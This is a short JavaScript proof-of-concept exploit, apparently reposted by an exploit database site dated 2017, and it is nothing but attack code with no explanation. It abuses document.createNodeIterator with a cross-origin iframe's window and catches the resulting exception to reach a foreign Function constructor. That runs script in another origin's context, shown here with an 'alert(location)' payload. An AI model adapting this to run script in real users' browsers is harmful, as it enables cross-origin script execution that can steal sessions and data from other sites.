"use strict"; let f = document.body.appendChild(document.createElement("iframe")); f.onload = () => { f.onload = null; try { let iterator = document.createNodeIterator(document, NodeFilter.SHOW_ALL, f.contentWindow); iterator.nextNode(); } catch (e) { e.constructor.constructor("alert(location)")(); } }; f.src = "https://abc.xyz/"; # Iranian Exploit DataBase = http://IeDb.Ir [2017-04-05]